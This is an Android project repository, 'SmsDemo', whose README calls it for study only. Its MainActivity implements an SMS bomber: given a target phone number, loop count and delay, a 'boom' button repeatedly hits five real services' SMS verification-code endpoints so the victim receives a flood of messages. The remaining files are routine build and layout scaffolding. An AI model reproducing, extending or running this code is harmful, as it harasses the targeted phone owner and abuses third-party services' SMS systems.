├── .gitignore ├── .idea └── vcs.xml ├── README.md ├── app ├── .gitignore ├── build.gradle ├── proguard-rules.pro └── src │ └── main │ ├── AndroidManifest.xml │ ├── java │ └── com │ │ └── sms │ │ └── smsdemo │ │ ├── MainActivity.java │ │ └── MyApplication.java │ └── res │ ├── layout │ └── activity_main.xml │ ├── mipmap-xxhdpi │ └── ic_launcher.png │ ├── values-w820dp │ └── dimens.xml │ └── values │ ├── colors.xml │ ├── dimens.xml │ └── strings.xml ├── build.gradle ├── common ├── build.gradle ├── libs │ └── gson-2.2.2.jar └── src │ └── main │ ├── AndroidManifest.xml │ ├── java │ └── com │ │ └── jiangyu │ │ └── common │ │ ├── base │ │ ├── BaseActivity.java │ │ ├── BaseApplication.java │ │ ├── BaseFragment.java │ │ └── BaseHomeActivity.java │ │ ├── entity │ │ ├── AppVersionEntity.java │ │ ├── EventCenter.java │ │ ├── JsonBean.java │ │ ├── MyBaseViewHolder.java │ │ ├── MySelfInfo.java │ │ ├── StaticEntity.java │ │ ├── TabEntity.java │ │ └── UserEntity.java │ │ ├── utils │ │ ├── AESUtil.java │ │ ├── ActivityAnimation.java │ │ ├── AlarmManagerUtil.java │ │ ├── AppHelper.java │ │ ├── Base64.java │ │ ├── Base64Util.java │ │ ├── BitmapUtil.java │ │ ├── CacheUtil.java │ │ ├── CheckIdCard.java │ │ ├── ClickSpanUtils.java │ │ ├── CommandResult.java │ │ ├── CommandUtils.java │ │ ├── CommonUtils.java │ │ ├── DataUtil.java │ │ ├── DesEncrypter.java │ │ ├── EncryptUtil.java │ │ ├── FileUtils.java │ │ ├── Frequency.java │ │ ├── GlobalExceptionHanlder.java │ │ ├── JsonUtil.java │ │ ├── Log.java │ │ ├── MathUtil.java │ │ ├── NetworkUtil.java │ │ ├── PhotoUtils.java │ │ ├── ProjectHelper.java │ │ ├── PropertiesFactory.java │ │ ├── RegexUtils.java │ │ ├── ResourceUtil.java │ │ ├── SharedPreferencesUtil.java │ │ ├── StatusBarCompat.java │ │ ├── StreamUtil.java │ │ ├── StringUtil.java │ │ ├── SystemCallUtil.java │ │ ├── ThreadPool.java │ │ ├── TimeUitls.java │ │ ├── ToastUtil.java │ │ ├── UILauncherUtil.java │ │ ├── Util.java │ │ ├── ViewHolder.java │ │ ├── okgo │ │ │ ├── JsonCallback.java │ │ │ └── JsonConvert.java │ │ └── pay │ │ │ ├── Base64.java │ │ │ ├── PayResult.java │ │ │ └── SignUtils.java │ │ └── view │ │ ├── AddShopAnimationUtil.java │ │ ├── AutoScrollTextView.java │ │ ├── CircularImage.java │ │ ├── CountdownView.java │ │ ├── CustomCountDownTimer.java │ │ ├── ElasticScrollView.java │ │ ├── MaskedImage.java │ │ ├── MaterialDialogHelper.java │ │ ├── NumRelativeLayout.java │ │ ├── RedBottomDialog.java │ │ ├── ResizableImageView.java │ │ ├── ResizableSimpleView.java │ │ ├── ScrollAwareFABBehavior.java │ │ ├── SwipeMenuLayout.java │ │ ├── ViewPagerInNestedScrollView.java │ │ └── ZoomableImageView.java │ └── res │ ├── anim │ ├── bottom_push_up_in.xml │ ├── bottom_push_up_out.xml │ ├── nothing.xml │ ├── push_left_in.xml │ ├── push_left_out.xml │ ├── push_right_in.xml │ ├── push_right_out.xml │ ├── top_push_up_in.xml │ └── top_push_up_out.xml │ ├── drawable-v21 │ └── button_selector.xml │ ├── drawable │ ├── background.xml │ ├── button_selector.xml │ ├── shape_circle_main_color.xml │ ├── shape_radius_all.xml │ ├── shape_radius_bottom_normal.xml │ ├── shape_radius_bottom_pressed.xml │ ├── shape_radius_bottom_selector.xml │ ├── shape_radius_left_bottom.xml │ ├── shape_radius_right_bottom_normal.xml │ ├── shape_radius_right_bottom_pressed.xml │ ├── shape_radius_right_bottom_selector.xml │ └── trans_button_selector.xml │ ├── layout │ ├── activity_top_margin_main_color.xml │ ├── activity_top_margin_transparent.xml │ ├── activity_top_margin_white.xml │ ├── item_top_main_color.xml │ ├── item_top_white.xml │ └── red_bottom_dialog.xml │ ├── mipmap-xxhdpi │ ├── arrow_left.png │ └── arrow_left_white.png │ ├── values-v19 │ └── dimens.xml │ └── values │ ├── attrs.xml │ ├── color.xml │ ├── dimens.xml │ ├── ids.xml │ ├── strings.xml │ └── styles.xml ├── gradle.properties ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat └── settings.gradle /.gitignore: -------------------------------------------------------------------------------- 1 | *.iml 2 | .gradle 3 | /local.properties 4 | /.idea/workspace.xml 5 | /.idea/libraries 6 | .DS_Store 7 | /build 8 | /captures 9 | .externalNativeBuild 10 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | SmsDemo~仅用于学习使用! 2 | -------------------------------------------------------------------------------- /app/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | -------------------------------------------------------------------------------- /app/build.gradle: -------------------------------------------------------------------------------- 1 | apply plugin: 'com.android.application' 2 | 3 | android { 4 | compileSdkVersion 25 5 | buildToolsVersion "27.0.3" 6 | defaultConfig { 7 | applicationId "com.sms.smsdemo" 8 | minSdkVersion 15 9 | targetSdkVersion 25 10 | versionCode 1 11 | versionName "1.0" 12 | testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner" 13 | } 14 | buildTypes { 15 | release { 16 | minifyEnabled false 17 | proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' 18 | } 19 | } 20 | } 21 | 22 | dependencies { 23 | compile fileTree(dir: 'libs', include: ['*.jar']) 24 | androidTestCompile('com.android.support.test.espresso:espresso-core:2.2.2', { 25 | exclude group: 'com.android.support', module: 'support-annotations' 26 | }) 27 | compile 'com.android.support:appcompat-v7:25.3.1' 28 | testCompile 'junit:junit:4.12' 29 | compile project(':common') 30 | } 31 | -------------------------------------------------------------------------------- /app/proguard-rules.pro: -------------------------------------------------------------------------------- 1 | # Add project specific ProGuard rules here. 2 | # By default, the flags in this file are appended to flags specified 3 | # in D:\0\SDK/tools/proguard/proguard-android.txt 4 | # You can edit the include path and order by changing the proguardFiles 5 | # directive in build.gradle. 6 | # 7 | # For more details, see 8 | # http://developer.android.com/guide/developing/tools/proguard.html 9 | 10 | # Add any project specific keep options here: 11 | 12 | # If your project uses WebView with JS, uncomment the following 13 | # and specify the fully qualified class name to the JavaScript interface 14 | # class: 15 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 16 | # public *; 17 | #} 18 | -------------------------------------------------------------------------------- /app/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 22 | 23 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /app/src/main/java/com/sms/smsdemo/MainActivity.java: -------------------------------------------------------------------------------- 1 | package com.sms.smsdemo; 2 | 3 | import android.view.View; 4 | import android.widget.Button; 5 | import android.widget.EditText; 6 | import android.widget.TextView; 7 | 8 | import com.jiangyu.common.base.BaseActivity; 9 | import com.jiangyu.common.entity.EventCenter; 10 | import com.jiangyu.common.utils.CommonUtils; 11 | import com.jiangyu.common.utils.SharedPreferencesUtil; 12 | import com.jiangyu.common.utils.StringUtil; 13 | import com.jiangyu.common.utils.TimeUitls; 14 | import com.jiangyu.common.utils.ToastUtil; 15 | import com.lzy.okgo.OkGo; 16 | import com.lzy.okgo.callback.StringCallback; 17 | import com.lzy.okgo.model.Response; 18 | 19 | import butterknife.Bind; 20 | import butterknife.OnClick; 21 | 22 | public class MainActivity extends BaseActivity { 23 | 24 | @Bind(R.id.phone) 25 | EditText phone; 26 | @Bind(R.id.loop_count) 27 | EditText loopCount; 28 | @Bind(R.id.time_sleep) 29 | EditText timeSleep; 30 | @Bind(R.id.boom) 31 | Button boom; 32 | @Bind(R.id.stop) 33 | Button stop; 34 | @Bind(R.id.log) 35 | TextView log; 36 | private int successNumber = 0;//成功次数 37 | private int sloopCount = 1;//循环次数 38 | private StringCallback callback = new StringCallback() { 39 | @Override 40 | public void onSuccess(final Response response) { 41 | if (response.body().contains("成功") 42 | || response.body().contains("验证码已") 43 | || response.body().contains("已发送") 44 | || (response.body().contains("isError") && response.body().contains("false")) 45 | || response.body().contains("ok") 46 | || response.body().contains("true") 47 | || response.body().contains("Succeed") 48 | || response.body().contains("succeed") 49 | || response.body().contains("Success") 50 | || response.body().contains("success")) { 51 | runOnUiThread(new Runnable() { 52 | @Override 53 | public void run() { 54 | ToastUtil.showShort(response.body()); 55 | log.setText("当前循环:" + (sloopCount - 1) + "\n成功次数:" + ++successNumber); 56 | } 57 | }); 58 | } else { 59 | runOnUiThread(new Runnable() { 60 | @Override 61 | public void run() { 62 | log.setText("当前循环:" + (sloopCount - 1) + "\n成功次数:" + successNumber); 63 | } 64 | }); 65 | } 66 | } 67 | 68 | @Override 69 | public void onError(final Response response) { 70 | super.onError(response); 71 | runOnUiThread(new Runnable() { 72 | @Override 73 | public void run() { 74 | ToastUtil.showShort(response.body()); 75 | } 76 | }); 77 | } 78 | }; 79 | private Thread thread; 80 | 81 | @OnClick({R.id.boom, R.id.stop}) 82 | public void onViewClicked(View view) { 83 | int viewId = view.getId(); 84 | switch (viewId) { 85 | case R.id.boom: 86 | successNumber = 0; 87 | sloopCount = 1; 88 | String sphone = phone.getText().toString(); 89 | sloopCount = Integer.parseInt(loopCount.getText().toString()); 90 | SharedPreferencesUtil.setValue(mContext, "phone", sphone); 91 | if (!CommonUtils.isMobileNoValid(sphone)) { 92 | ToastUtil.showShort("Please enter the 11 phone number"); 93 | return; 94 | } 95 | thread = new Thread(boomRun); 96 | thread.start(); 97 | break; 98 | case R.id.stop: 99 | thread.interrupt(); 100 | ToastUtil.showShort("stop"); 101 | break; 102 | } 103 | 104 | } 105 | 106 | private Runnable boomRun = new Runnable() { 107 | @Override 108 | public void run() { 109 | String sphone = phone.getText().toString(); 110 | String stimeSleep = timeSleep.getText().toString(); 111 | try { 112 | OkGo.post("http://pod.dsylove.com/user/getSmsCode").params("phoneNum", sphone).params("appName", "dsylove").headers("token", "986244129").tag(this).execute(callback); 113 | Thread.sleep(Integer.parseInt(stimeSleep) * 1000); 114 | OkGo.post("https://api2.quhepai.com/user/getsmscode?os=Android&model=SM-G930F&area_id=110000&rctk=&imei=865821079483270&hpid=&ver=1.6.9&long=106.67963615746643&build=1712211344&token_temp=&netk=&nonce=1515146882410&token=&sa=SvWDOSgflCTktWN2gZJeA26s%2FKsJfvkYUf3h8KsEJ%2FxBUE3KOW%2BlQWy3g9bqRlNZ0EYGzUKwOb%2F0%0AYgOREoKTl3mmqa2pcsblrYUDbkDcT8dQiWJ9VxTaKqeIEbVl38VE4rXB1avYbPR2zOkD28c7%2Fas%2F%0Ap0R38lq3nziMVHRap34%3D&company=samsung&logined=0&api=39&verCode=446&user_id=&ch=hepai_s_018&lat=26.636185489185326&type=1&phone=" + sphone).tag(this).execute(callback); 115 | Thread.sleep(Integer.parseInt(stimeSleep) * 1000); 116 | OkGo.post("https://www.1yuanxing.com/apiAngular/getSMS.jsp?username=" + sphone).tag(this).execute(callback); 117 | Thread.sleep(Integer.parseInt(stimeSleep) * 1000); 118 | OkGo.post("http://api-cc.babybus.org/User/VerificationCode?al=403&ost=1&type=1&channel=A002&phone=" + sphone).tag(this).execute(callback); 119 | Thread.sleep(Integer.parseInt(stimeSleep) * 1000); 120 | OkGo.post("https://api2.drcuiyutao.com/v55/user/sendVerificationCode?dialCode=86&mobile=" + sphone).tag(this).execute(callback); 121 | Thread.sleep(Integer.parseInt(stimeSleep) * 1000); 122 | 123 | 124 | 125 | 126 | if (--sloopCount > 0) { 127 | thread = new Thread(boomRun); 128 | thread.start(); 129 | } else { 130 | runOnUiThread(new Runnable() { 131 | @Override 132 | public void run() { 133 | ToastUtil.showShort("finish"); 134 | } 135 | }); 136 | } 137 | } catch (Exception e) { 138 | e.printStackTrace(); 139 | } 140 | } 141 | }; 142 | 143 | 144 | @Override 145 | protected void onEventComing(EventCenter var1) { 146 | 147 | } 148 | 149 | @Override 150 | protected void initComponents() { 151 | String oldphone = SharedPreferencesUtil.getValue(mContext, "phone"); 152 | if (!StringUtil.isEmpty(oldphone)) { 153 | phone.setText(oldphone); 154 | } 155 | } 156 | 157 | @Override 158 | protected void initData() { 159 | 160 | } 161 | 162 | @Override 163 | protected int getMainContentViewId() { 164 | return R.layout.activity_main; 165 | } 166 | } 167 | -------------------------------------------------------------------------------- /app/src/main/java/com/sms/smsdemo/MyApplication.java: -------------------------------------------------------------------------------- 1 | package com.sms.smsdemo; 2 | 3 | import com.facebook.drawee.backends.pipeline.Fresco; 4 | import com.jiangyu.common.base.BaseApplication; 5 | import com.orhanobut.logger.AndroidLogAdapter; 6 | import com.orhanobut.logger.Logger; 7 | 8 | 9 | 10 | public class MyApplication extends BaseApplication { 11 | 12 | @Override 13 | public void onCreate() { 14 | super.onCreate(); 15 | Logger.addLogAdapter(new AndroidLogAdapter()); 16 | Fresco.initialize(this); 17 | 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /app/src/main/res/layout/activity_main.xml: -------------------------------------------------------------------------------- 1 | 2 | 8 | 9 | 10 | 11 | 17 | 18 | 26 | 27 | 35 | 36 | 45 | 46 | 47 | 51 | 52 | 53 | 60 | 61 | 67 | 68 | 69 | 73 | 74 | 78 | 79 | 80 | 87 | 88 | 95 | 96 | 97 | 101 | 102 | 106 | 107 | 108 | 115 | 116 | 123 | 124 | 125 | 129 | 130 |